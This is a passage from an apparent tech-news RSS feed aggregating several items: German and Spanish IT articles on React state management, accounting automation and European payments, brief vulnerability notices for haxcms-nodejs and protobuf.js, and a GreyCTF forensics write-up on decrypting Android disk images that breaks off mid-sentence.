<p>Falls Sie noch nicht mit dem Albtraum des großangelegten State Managements in einer reaktiven App konfrontiert wurden, ein kleiner Spoiler: Das kann ziemlich unangenehm werden. Oder Sie nutzen <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a> und verzichten einfach auf den zeremoniellen Boilerplate-Code aus Reducern, Providern und unhandlichen Context-Wrappern. Ersetzt wird das durch einen winzigen, brutal simplen, globalen Speicher.</p>



<p>Anstatt Ihren gesamten Anwendungsbaum in einen massiven React-Context-Provider zu zwängen (was manchmal zu einer Kaskade überflüssiger Neu-Renderings im gesamten DOM führt), nutzt Zustand benutzerdefinierte Hooks, um den State direkt an die spezifischen Komponenten zu binden, die ihn benötigen. Dabei strebt das Tool danach, die Spezifität im reaktiven VDOM-Modell zu erreichen (anstatt sie à la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html" target="_blank">Signals</a> vollständig zu eliminieren). Sie definieren einen Store, rufen ihn auf – und die Reaktivität funktioniert einfach. Der Preis für diese Befreiung ist die Last der Disziplin: Zustand hindert Sie nicht daran, Ihren globalen Speicher in eine überfüllte Deponie zu verwandeln. Entwickler müssen Ihre eigenen Konventionen und Guardrails einziehen, um großangelegte Projekte überschaubar zu halten.</p>



<p><strong>Auch interessant:</strong> <a href="https://jotai.org/" target="_blank" rel="noreferrer noopener">Jotai</a>. Wenn Zustand der schlank gehaltene globale Store ist, dann ist Jotai der schlank gehaltene, atomare Ansatz. Dieses Tool verwaltet den State „von unten nach oben“ und berechnet Änderungen mit chirurgischer Präzision – ohne dabei massive Neu-Renderings im gesamten Application Tree auszulösen. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4181872/8-cutting-edge-web-development-tools-you-dont-want-to-miss.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-46396 | haxtheweb haxcms-nodejs/video-player/iframe-loader up to 25.x src cross site scripting (GHSA-jh3h-rpxg-fr36)]]></title>
<description><![CDATA[A vulnerability was found in haxtheweb haxcms-nodejs, video-player and iframe-loader up to 25.x. It has been rated as problematic. Affected is an unknown function. The manipulation of the argument src leads to cross site scripting.

This vulnerability is referenced as CVE-2026-46396. Remote explo...]]></description>
<link>https://tsecurity.de/de/3593502/sicherheitsluecken/cve-2026-46396-haxtheweb-haxcms-nodejsvideo-playeriframe-loader-up-to-25x-src-cross-site-scripting-ghsa-jh3h-rpxg-fr36/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593502/sicherheitsluecken/cve-2026-46396-haxtheweb-haxcms-nodejsvideo-playeriframe-loader-up-to-25x-src-cross-site-scripting-ghsa-jh3h-rpxg-fr36/</guid>
<pubDate>Fri, 12 Jun 2026 14:47:20 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/haxtheweb:haxcms-nodejs">haxtheweb haxcms-nodejs, video-player and iframe-loader up to 25.x</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function. The manipulation of the argument <em>src</em> leads to cross site scripting.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2026-46396">CVE-2026-46396</a>. Remote exploitation of the attack is possible. No exploit is available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[¿Cómo contribuyen las tecnologías a un mejor cierre de cuentas?]]></title>
<description><![CDATA[Las tecnologías permiten transformar el cierre de cuentas de un ‘evento’ anual, manual y estresante en una capacidad continua, integrada, segura y útil para la gestión, en línea con la visión Tax Administration 3.0 de la OCDE.



Base digital: identidad y datos



El cierre moderno se basa en la ...]]></description>
<link>https://tsecurity.de/de/3593054/it-nachrichten/cmo-contribuyen-las-tecnologas-a-un-mejor-cierre-de-cuentas/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593054/it-nachrichten/cmo-contribuyen-las-tecnologas-a-un-mejor-cierre-de-cuentas/</guid>
<pubDate>Fri, 12 Jun 2026 12:04:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Las tecnologías permiten transformar el cierre de cuentas de un ‘evento’ anual, manual y estresante en una capacidad continua, integrada, segura y útil para la gestión, en línea con la visión <em>Tax Administration 3.0</em> de la OCDE.</p>



<h2 class="wp-block-heading">Base digital: identidad y datos</h2>



<p>El cierre moderno se basa en la identificación segura y los datos de calidad. Las identidades digitales interoperables, tal y como se describen en el informe <a href="https://www.oecd.org/en/publications/tax-administration-digitalisation-and-digital-transformation-initiatives_c076d776-en.html" target="_blank" rel="nofollow"><em>Tax Administration Digitalisation and Digital Transformation Initiatives</em> de la OCDE</a>, simplifican las interacciones con las autoridades fiscales, los centros de servicios compartidos y la externalización, reduciendo los errores de identificación y los accesos indebidos.</p>



<p>La gobernanza de los datos es fundamental: coherencia de los planes contables, datos maestros limpios, conciliaciones sistemáticas entre ERP, facturación electrónica, nóminas y tesorería. La tecnología impone la validación automática, los flujos de trabajo y las alertas, evitando los ajustes de última hora.</p>



<h2 class="wp-block-heading">Integración y automatización del ciclo</h2>



<p>La aproximación entre los ‘sistemas naturales’ (facturación, ERP, comercio electrónico, banca, salarios) y la contabilidad, potenciada por las API proporcionadas por las administraciones fiscales, alinea los datos internos y fiscales en tiempo real: la facturación refleja automáticamente el IVA; los salarios alimentan los costes y las retenciones; los bancos concilian por rutinas; el IVA y el Impuesto sobre Sociedades se comparan de inmediato.</p>



<p>Las plataformas de gestión de cierres organizan tareas, plazos, aprobaciones y paneles de control; la RPA (en español, Automatización Robótica de Procesos) se encarga de las conciliaciones simples, las amortizaciones y los archivos de terceros, mientras que la facturación electrónica facilita los cierres del IVA y permite adelantar los cruces de información fiscal.</p>



<h2 class="wp-block-heading">IA y analítica en el control del cierre</h2>



<p>La inteligencia artificial (IA), ya ampliamente utilizada por las administraciones fiscales en la detección de fraudes, la evaluación de riesgo y la atención virtual, inspira el uso de algoritmos de detección de anomalías en el cierre, actuando como un “segundo par de ojos” sobre movimientos fuera de lo normal, combinaciones improbables de cuentas, fechas incoherentes y variaciones abruptas de saldos o ratios. Estos modelos permiten concentrar el esfuerzo humano en las áreas de mayor riesgo, aumentando la probabilidad de identificar errores o fraudes antes de la emisión de los estados financieros.</p>



<p>Las soluciones de lectura y clasificación automática de documentos sugieren asientos contables adecuados a partir de facturas y otros comprobantes, lo que reduce el tiempo de tramitación atrasada, mientras que los modelos predictivos respaldan las estimaciones de provisiones basadas en historiales, datos macroeconómicos y comportamientos de los clientes. Las herramientas de <em>business intelligence</em> proporcionan paneles de control diarios sobre las tareas completadas, las conciliaciones pendientes, las filiales con más discrepancias y las cuentas que requieren un escrutinio, lo que proporciona al director financiero una visión objetiva y continua del estado del cierre.</p>



<h2 class="wp-block-heading">Personas, competencias y gobernanza</h2>



<p>La digitalización del cierre exige un cambio profundo en las competencias y la cultura: el equipo de Contabilidad deja de centrarse en la introducción de datos para asumir un papel más analítico, centrado en el diseño de procesos, la interpretación de la información y la gestión de riesgos, con conocimientos suficientes en ERP, <em>reporting</em>, BI, integración con la administración tributaria, IA y seguridad de la información. Las organizaciones y las administraciones fiscales están invirtiendo en formación continua y perfiles híbridos de finanzas y TI, reforzando las capacidades de liderazgo y gestión del cambio para apoyar los proyectos de transformación digital.</p>



<p>El liderazgo financiero debe abordar la modernización del cierre como un programa estratégico, con una gobernanza formal, prioridades claras, recursos alineados e indicadores de éxito, posicionando al director financiero como coarquitecto de la transformación y no solo como consumidor de tecnología.</p>



<h2 class="wp-block-heading">Hoja de ruta por fases para el cierre digital</h2>



<p>Un enfoque práctico empieza por revisar cómo se cierra hoy: cuánto tarda y cuánto esfuerzo requiere, qué partes se hacen a mano, cuánto se depende de hojas de cálculo, cuántos sistemas intervienen y hasta qué punto se aprovechan las herramientas digitales que ya ofrece la administración tributaria (APIs, datos prellenados, consultas online e integración con software certificado).</p>



<p>En una primera fase, se privilegian las victorias rápidas: automatización de conciliaciones simples, listas de verificación, repositorios estructurados de documentación e informes básicos de seguimiento, lo que genera ganancias visibles en materia de organización y confianza.</p>



<p>En una fase posterior, se refuerza la integración entre sistemas, la alineación de planes contables, el vínculo entre la facturación electrónica y la contabilidad, y la arquitectura de datos con responsabilidades claras y un control continuo de la calidad.</p>



<h2 class="wp-block-heading">Conclusión: del cierre como ‘evento’ al cierre como ‘capacidad’</h2>



<p>La digitalización hace evolucionar el cierre hacia una capacidad permanente con sistemas integrados, datos fiables y equipos cualificados. Las tecnologías aceleran, mejoran la seguridad, se alinean con la fiscalidad y liberan para el análisis estratégico.</p>



<p>Para los profesionales, es un reto y una oportunidad: invertir en competencias para reposicionar el cierre como pilar de la gobernanza y el valor. Las empresas manuales se arriesgan a quedarse atrás; el camino está marcado por las directrices de la OCDE y las soluciones maduras. Hay que decidir: ¿espectador o protagonista?</p>



<p><em><strong>El autor de este artículo es <a href="https://www.linkedin.com/in/pedro-montez/?locale=en" rel="nofollow">Pedro Montez</a>, gerente de vigilancia legal para Iberia y África en Cegid. Este directivo tiene una amplia experiencia en transformar cuestiones legales y contables complejas en soluciones prácticas, ayudando a empresas de diversos sectores a lograr mayor eficiencia y cumplimiento normativo.</strong></em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La geopolítica y la tecnología están cambiando la cara del sector bancario]]></title>
<description><![CDATA[Fue una de esas noticias que, de cuando en cuando, dan para titulares en varias secciones y en varios tipos de medios. Bizum había llegado a las tiendas. La compañía lanzó este mayo Bizum Pay y, aunque en este primer momento solo se podía usar como medio de pago conectado a dos bancos, la histori...]]></description>
<link>https://tsecurity.de/de/3592962/it-nachrichten/la-geopoltica-y-la-tecnologa-estn-cambiando-la-cara-del-sector-bancario/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592962/it-nachrichten/la-geopoltica-y-la-tecnologa-estn-cambiando-la-cara-del-sector-bancario/</guid>
<pubDate>Fri, 12 Jun 2026 11:18:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Fue una de esas noticias que, de cuando en cuando, dan para titulares en varias secciones y en varios tipos de medios. Bizum había llegado a las tiendas. La compañía lanzó este mayo Bizum Pay y, aunque en este primer momento solo se podía usar como medio de pago conectado a dos bancos, la historia adquirió casi tonos de viralidad. “Está generando mucho interés entre las personas usuarias y en los comercios, estos últimos incluso están hablando con sus entidades para poder activar el pago con Bizum”, confirma por correo Martín Azcue, director de Desarrollo de Negocio de Bizum, que señala que el proceso está “yendo según la hoja de ruta marcada”. Los bancos adheridos, indica, “han iniciado la extensión progresiva del pago presencial de Bizum, a través de NFC y de cuenta a cuenta, tanto para particulares como para comercios”. La funcionalidad irá aumentando a lo largo de los meses y, para cierre de año, la mayoría de sus clientes podrán pagar en comercios usando Bizum Pay.</p>



<p>Pero ¿por qué de pronto parecía que todo el mundo estaba obsesionándose con una forma de pago y una aplicación tecnológica? El entusiasmo, responde desde Bizum, viene de que son una marca conocida y con experiencia, respaldada por la banca. “La recepción ha sido muy positiva, lo que nos tomamos como una responsabilidad para seguir trabajando en dar ofrecer la mejor solución posible”, señala Azcue.</p>



<p>Desde fuera, este momento de estrellato podría tener unas cuentas lecturas posibles, muchas de ellas vinculadas con cómo la geopolítica y la tendencia emergente a la <a href="https://www.cio.com/article/4172818/la-soberania-digital-como-estrategia-asi-construye-amnistia-internacional-espana-su-modelo-tecnologico.html">soberanía digital</a> (ese término que está también de rabiosa actualidad en TI) hacen que se vean las cosas.</p>



<h2 class="wp-block-heading">Soberanía en los pagos</h2>



<p>“Creo que el <em>hype</em> que se ha generado con Bizum Pay no está muy bien acompasado”, explica por videollamada Tomás Golding, responsable de banca en VASS. “Bizum empezó hace ya tiempo, como un mecanismo de pagos <em>peer-to-peer</em>”, indica. “Ahora, metemos en la ecuación el pago dentro del comercio”. La fiebre primaveral que ha generado ayuda a “generar un <em>awareness</em> de marca”, apunta el experto, pero Golding cree que ese boom no ha ido “acompasado con el momento del mercado y a lo preparadas que están las infraestructuras y, sobre todo, los sistemas de los comercios”.</p>



<p>Esta es, simplemente, una alternativa más, apunta, pero una que ofrece resiliencia operativa, en un momento en el que “Europa, y específicamente España, se plantea reducir de los esquemas de pago internacionales de alguna manera”. El 61% de todos los pagos que se realizan con tarjeta en la Eurozona se hacen con Visa y Mastercard, empresas estadounidenses, que <a href="https://es.euronews.com/business/2026/05/01/europa-busca-romper-el-dominio-de-visa-y-mastercard-pero-no-todos-estan-de-acuerdo" target="_blank" rel="nofollow">asumen</a> además prácticamente la totalidad de las operaciones transfronterizas. Estas compañías deben cumplir las leyes de EEUU, lo que puede tener consecuencias en Europa. El apagón tecnológico en el que <a href="https://www.revistavanityfair.es/articulos/sanciones-jueces-donald-trump" target="_blank" rel="nofollow">están sumidos</a> los miembros del Tribunal de La Haya sancionados por la administración Trump es una muestra de lo que podría pasar si los intereses de EEUU chocan con los europeos.</p>



<p>En estos últimos años, Europa ha empezado a priorizar la soberanía digital (justo, la Comisión acaba de presentar su Paquete de Soberanía Tecnológica) y los pagos son uno de los retos a gestionar. Lo saben los organismos públicos y también la industria de la banca y los pagos. Este es, así, un contexto en el que cualquier novedad europea, como el propio Bizum Pay, tiene un terreno abonado para despertar interés. La propia Bizum, de hecho, permite ya hacer pagos a Italia o Portugal (o recibirlos) y trabaja para cerrar acuerdos con compañías de Polonia y países nórdicos. El objetivo final del mercado es conseguir soluciones propias, interoperables y que reduzcan la dependencia de actores de fuera del continente.</p>



<p> “El concepto soberanía y resiliencia van muy de la mano porque sabemos que las infraestructuras de pagos son críticas para los estados centrales y para los países”, señala Golding. Este experto recuerda que el <a href="https://dgsfp.mineco.gob.es/es/Paginas/Reglamento-de-Resiliencia-Operativa-Digital-DORA.aspx" target="_blank" rel="nofollow">reglamento Dora</a> ya habla de estas cuestiones. No es, así, un término del todo nuevo. Aunque, como suma Rubén Andrés, CIO de Singular Bank, “el concepto de soberanía digital ha evolucionado mucho en muy poco tiempo”. “Hace unos años hablábamos principalmente de eficiencia tecnológica. Hoy hablamos también de resiliencia, control del dato, capacidad operativa y autonomía estratégica”. Lo ocurrido en los últimos años han acelerado las cosas y la IA ha hecho que estos temas sean aún más prioritarios en la agenda.</p>



<p>Esta es, así, una cuestión con muchas facetas y en la que la tecnología tendrá (o, mejor dicho, tiene ya) un papel fundamental. Como apunta Andrés, “la banca europea depende todavía en muchos ámbitos de infraestructuras globales críticas”. “La clave no está en aislarse, sino en construir plataformas resilientes capaces de integrarse con distintos ecosistemas sin perder control, trazabilidad ni capacidad de decisión mientras garantizan la continuidad con la redundancia oportuna”, asegura.</p>



<p>La industria trabaja en seguridad, en protección, en crear infraestructuras robustas, algo que impacta en cómo se estructura su infraestructura TI. Andrés habla de “una evolución clara hacia modelos híbridos: aprovechar capacidades globales, pero construyendo capas propias de inteligencia, gobierno e interoperabilidad”.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/01/f.elconfidencial.com_original_3e3_021_f1c_3e3021f1ce78dec2cb23b3e4a6f141e8.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Rubén Andrés, director general de Tecnología y Operaciones de Singular Bank." class="wp-image-3804059" width="1024" height="768" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Rubén Andrés, director general de Tecnología y Operaciones de Singular Bank.</p>
</figcaption></figure><p class="imageCredit">Singular Bank</p></div>



<figure class="wp-block-pullquote"><blockquote><p><strong><em>Rubén </em></strong><em><strong>Andrés (Singular Bank) subraya que “el euro digital representa mucho más que un nuevo medio de pago: es uno de los primeros grandes movimientos hacia una infraestructura financiera europea nativamente digital, interoperable y preparada para una interacción financiera más automatizada e inteligente”</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">Qué es el euro digital</h2>



<p>En esas capas propias podrían entrar también las nuevas propuestas. La Unión Europea trabaja para lanzar el euro digital y, aunque el proyecto cuenta con alguna oposición tanto política como de la industria, su lanzamiento cambiará de nuevo el panorama.</p>



<p>“El euro digital es dinero del Banco Central, pero en formato digital”, explica Golding. “En los tecnicismos, lo llamamos CBDC, <em>Central Bank Digital Currency</em>. Dicho de forma sencilla, es el equivalente a un billete, pero pensado en un mundo más móvil”. En lugar de emitir billetes físicos (e imprimirlos), se crean billetes digitales. “Tendrá un valor uno a uno”, indica el experto. El euro digital no es, por tanto, ni una criptomoneda ni una moneda totalmente nueva. Es el euro de siempre en otro formato. La distribución la harán los mismos bancos comerciales que ahora guardan nuestro dinero y se guardarán en alguna <em>app</em> o <em>wallet</em>.</p>



<p>Y tampoco es una idea exactamente nueva: como apunta el experto, se empezó a hablar de ello en 2023, aunque no fue en 2025 cuando se pasó a la primera fase preparatoria. “En enero de este año se publicaron los objetivos y todo el calendario del proceso de proveedores piloto”. Si todo sigue lo previsto, el euro digital llegará en 2029.</p>



<p>La caída del uso de dinero físico en la zona euro y el crecimiento de uso de pasarelas digitales explican el interés por lanzar un formato digital, pero no solo. Como apunta el experto de Vass, también tiene un matiz de qué dinero empleamos. “El efectivo es, hoy, la única forma de dinero público que tiene en la mano el ciudadano. Todo lo demás es dinero privado, o que circula por redes privadas”. A medida que se reduce el efectivo se reduce también la presencia de dinero público y, con ello, “se debilita el ancla de confianza que aporta un banco central a todo el sistema”.</p>



<p>Por ello, sumando todo esto a la necesidad de reducir la dependencia de redes pagos no europeas, el euro digital emerge como potencial herramienta. Algo que encaja, además, con una tendencia que va más allá de Europa. “Es un movimiento reactivo que muchos países ya se están planteando”, apunta Golding.</p>



<p>“El euro digital representa mucho más que un nuevo medio de pago”, señala Andrés. “Es probablemente uno de los primeros grandes movimientos hacia una infraestructura financiera europea nativamente digital, interoperable y preparada para un mundo donde la interacción financiera será cada vez más automatizada e inteligente”, explica.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/TOMAS_GOLDING_XD14687.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Tomás Golding, responsable de banca en VASS" class="wp-image-4184419" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">VASS</p></div>



<figure class="wp-block-pullquote"><blockquote><p><em><strong>Tomás Golding (VASS) explica que la incorporación de herramientas como el euro digital no solo implica una transformación tecnológica, sino una adaptación a más niveles, por ejemplo, contables</strong></em></p></blockquote></figure>



<h2 class="wp-block-heading">Una escalada de cambios TI</h2>



<p>En paralelo, el euro digital encaja en un proceso que va más allá, que tiene un impacto más estructural y que, a su vez, cambiará las cosas a nivel TI. “La llegada del euro digital, la IA generativa y los modelos <em>agentic</em> están impulsando un cambio de paradigma tecnológico”, asegura Andrés. El CIO apunta que “el verdadero cambio no estará únicamente en la moneda, sino en cómo evolucionará la intermediación financiera”. Por ejemplo, en el futuro no tan lejano podríamos usar agentes inteligentes para que gestionasen nuestras cuentas y eso obligará a nuestros bancos a reajustar bastantes cosas.</p>



<p> “Eso obliga a repensar completamente la arquitectura tecnológica de las entidades”, asegura Andrés. “Ya no hablamos únicamente de canales digitales, sino de ecosistemas interoperables preparados para convivir con agentes autónomos, modelos de IA y procesos financieros en tiempo real que liberen tiempo para el trato humano”, destaca. En su banco, ya trabajan “desarrollando capacidades de arquitectura <em>agentic</em> e inteligencia contextual alrededor de iniciativas como Singularity”, un asistente desarrollado sobre Open AI.</p>



<p>La transformación digital de la industria bancaria se acelerará, apunta este directivo, pero también tendrá que ser ambiciosa. No va ya de crear canales digitales <em>friendly</em> o arquitecturas robustas (que también), sino de mejorar la interoperabilidad, la respuesta en tiempo real o la respuesta a agentes. “El reto ya no es únicamente mejorar la experiencia cliente. El gran desafío será construir experiencias inteligentes de extremo a extremo”.</p>



<p>En conclusión, el reto al que se enfrenta la industria es complejo. Como explica Golding, la incorporación de herramientas como el euro digital no se trata solo de una transformación tecnológica, sino una adaptación a más niveles (por ejemplo, contables). “El Banco Central Europeo habla de que esta primera fase inicial podría suponer una inversión de unos 1300 millones de euros”, apunta. “El sector bancario tiene unas estimaciones más altas”. Hacer que todo lo nuevo que está apareciendo sea interoperable podría requerir una inversión de entre 18.000 y 30.000 millones de euros en toda la UE, según cifras que comparte Golding. “En sentido estricto, hay que modernizar todos los sistemas subyacentes y con los que los bancos llevan trabajando 60, 70 o más años, el <em>legacy</em>”, apunta, y suma la inversión en nuevos sistemas de identidad o antifraude, más refuerzo de ciberseguridad y gasto en integración. ¿Podrán todos los bancos afrontar una inversión tan elevada? Esa es la gran cuestión.</p>



<p>Pero, además, la industria está en un momento en el que pivotar y digitalizarse es fundamental. “El reto de la modernización es una necesidad”, asegura Golding. Lo requiere el regulador, pero también el flujo del mercado. </p>



<p>Si se le pregunta a la banca por los retos TI, la respuesta también es clara. “El principal reto tecnológico de la banca ya no es digitalizar procesos. Es construir organizaciones capaces de adaptarse continuamente a un entorno donde la tecnología evoluciona más rápido que nunca”, asegura Andrés. Esto obliga a hacer una transformación cultural, “porque el cambio no es solo tecnológico; es organizativo y humano”, y a comprender que “la tecnología del futuro será cada vez más invisible”. “Lo diferencial será cómo utilizamos esa tecnología para generar confianza, contexto y experiencias relevantes”, augura.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Sechs Schwachstellen in protobuf.js mit dem Codenamen Proto6 öffnen speziell in Node.js-Setups die Tür für Remote Code Execution (RCE) und Denial-of-Service (DoS). Besonders kritisch ist ein Szenario, in dem Angreifer über Prototype Pollution die Typauflösung manipulieren u...]]></description>
<link>https://tsecurity.de/de/3589387/it-security-nachrichten/proto6-sechs-protobufjs-schwachstellen-ermoeglichen-rce-und-dos-in-nodejs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3589387/it-security-nachrichten/proto6-sechs-protobufjs-schwachstellen-ermoeglichen-rce-und-dos-in-nodejs/</guid>
<pubDate>Thu, 11 Jun 2026 04:35:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/06/ai-proto6-protobufjs-nodejs-rce-dos-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Sechs Schwachstellen in protobuf.js mit dem Codenamen Proto6 öffnen speziell in Node.js-Setups die Tür für Remote Code Execution (RCE) und Denial-of-Service (DoS). Besonders kritisch ist ein Szenario, in dem Angreifer über Prototype Pollution die Typauflösung manipulieren und so eine von protobuf.js erzeugte Encoder- oder Decoder-Logik aushebeln. Laut den Forschern reicht dafür […]</p>
<div><a href="https://www.it-boltwise.de/proto6-sechs-protobuf-js-schwachstellen-ermoeglichen-rce-und-dos-in-node-js.html">... den vollständigen Artikel <strong>»Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/proto6-sechs-protobuf-js-schwachstellen-ermoeglichen-rce-und-dos-in-node-js.html">Proto6: Sechs Protobuf.js-Schwachstellen ermöglichen RCE und DoS in Node.js</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GreyCTF 2026  —  Crimewatch Forensics Challenge Writeup]]></title>
<description><![CDATA[GreyCTF 2026 — Crimewatch Forensics Challenge WriteupHi, I’m glad to share with you my writeup for solving a Forensics Challenge called “Crimewatch” in GreyCTF 2026You can read this writeup on my GitBook: LinkWe are provided with 2 weird files named "a" and "b", and a python file as shown:the bel...]]></description>
<link>https://tsecurity.de/de/3583945/hacking/greyctf-2026-crimewatch-forensics-challenge-writeup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583945/hacking/greyctf-2026-crimewatch-forensics-challenge-writeup/</guid>
<pubDate>Tue, 09 Jun 2026 11:09:03 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>GreyCTF 2026 — Crimewatch Forensics Challenge Writeup</h3><h4>Hi, I’m glad to share with you my writeup for solving a Forensics Challenge called “<strong>Crimewatch</strong>” in GreyCTF 2026</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*HMDjKb_-kh8tWzwAoToVVw.png"></figure><blockquote>You can read this writeup on my GitBook: <a href="https://prankster.gitbook.io/prankster/ctf-writeups/greyctf-2026-crimewatch-forensics-challenge-writeup">Link</a></blockquote><p>We are provided with 2 weird files named <strong>"a"</strong> and <strong>"b"</strong>, and a python file as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*UI1zDr12q0AjS0ipDWPj2A.png"></figure><p>the below screen shows the conclusion for <strong>flag.py</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFRP-z_Pa5e4eUONSC11RA.png"></figure><p>so, we are provided with weird files, we need to determine what are these format.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*SYQAd0jRU-jVP5aWTO0KQA.png"></figure><p>So with HxD and a little research, i could determine that this magic bytes are <a href="https://en.wikipedia.org/wiki/Qcow"><strong><em>qcow</em></strong></a><strong><em> </em></strong>file format, which stands for “QEMU <a href="https://en.wikipedia.org/wiki/Copy-on-write"><em>Copy On Write</em></a>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOr8cC0PdcZ44Ds16bos6Q.png"></figure><p>So it’s a qemu disk images, but both files are just unallocated space on FTK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*cjfg6QChM6-cz2IfqvRGUQ.png"></figure><p>So, we need to convert them to a readable disk images to open properly.<br>After a little research i found this tool: <a href="https://cloudbase.it/qemu-img-windows/"><strong><em>qemu-img</em></strong></a><strong><em> </em></strong><em>, so let’s try this tool</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*W8SNZA1AHwd0kE6Vt2OnDg.png"></figure><p>now we need to convert them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*x48aS9zjHkd7wzylBg7D5g.png"></figure><p>after conversion, we could open on FTK Imager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*fPnSI6yoEmDCsZVcjytkGg.png"></figure><p>only the b disk image opened properly. after a long research and a very long chats with different AI models :), i was able to cofirm that <strong>a </strong>is Android FBE-encrypted userdata and <strong>b </strong>is the metadata partition needed to decrypt <strong>a.<br></strong>finally i found an amazing tool: <a href="https://github.com/SlugFiller/fbe-decrypt"><strong><em>fbe-decrypt</em></strong></a><strong><em> </em></strong><em>, now let’s work to decrypt </em><strong>a</strong><em>.</em></p><p>We just need to rename the files with the intended names based n the script to could run perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*Jl_Zrxii9qgxNHjIOsF1Jg.png"></figure><p>And now we can run and see the precious output here<br><strong><em>NOTE: First, you will need to install NodeJS</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*a7Zx-PvS804PDvE-7etJJQ.png"></figure><p>Now we can investigate the disk image properly on FTK with no issues</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*tLG2v4M8DgbB5JzoZw32aA.png"></figure><p>Now, Let’s head back to the python script and start real investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OW3vB8vGcreo2m3QoBKqrA.png"></figure><p>After walking around and deep searching, i found a very important note on the notifications file located in: <strong>/system_ce/0/notification_history/notification_history.xml</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pyB09eevffvRTAWjKx_Uag.png"></figure><p>now i got 2 answers directly, and one glance for the third <br>first: telechat account is: <strong>@vanta_supply<br></strong>second glance: plate numbers maybe starts or ends or contains:<strong>..SG673..<br></strong>third: the buyer we suspect is: <strong>jiawei</strong></p><p>After a long digging also, found this amazing picture located in: 